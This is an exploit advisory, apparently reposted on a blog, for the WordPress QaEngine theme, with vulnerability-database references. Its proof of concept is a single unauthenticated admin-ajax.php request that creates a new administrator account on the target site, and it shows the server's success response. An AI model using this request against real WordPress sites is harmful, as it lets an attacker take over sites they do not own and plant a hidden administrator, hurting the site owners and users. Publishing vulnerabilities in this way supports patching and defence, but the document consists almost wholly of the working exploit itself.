WordPress QaEngine Theme - Add Administrator




#- Title: WordPress QaEngine Theme - Add Administrator
#- Author: A. Samman
#- URL : research.evex.pw/?vuln=10
#- Date: 04/06/2015
#- Vendor: enginethemes.com
#- Download Link: enginethemes.com/themes/qaengine/
#- References :
#- OSVDB : 121267 
#- PACKETSTORM : 131648
#- WPVDB ID : 7885
#- Description : QAEngine vulnerability allows an attacker to have an administrator account on the target's website.

--------------------------------------------------------------------------------------
Proof of Concept :

http://www.example.com/wp-admin/admin-ajax.php?action=ae-sync-user&method=create&user_login=xADMIN&user_pass=xPASS&role=administrator

Response : {"success":true,"data":{"action":"ae-sync-user","user_login":"xADMIN","user_pass":"xPASS","role":"administrator","ID":5},"msg":"Update
user successful!"}



Saya tidak meminta satu rupiah pun dari anda, Tolong hargai Copyright konten yang ditulis oleh Admin, Jika ingin Copy-Paste tolong sertakan link sumber. Terimakasih :)
Open My Youtube Channel
Previous
Next Post »
Thanks for your comment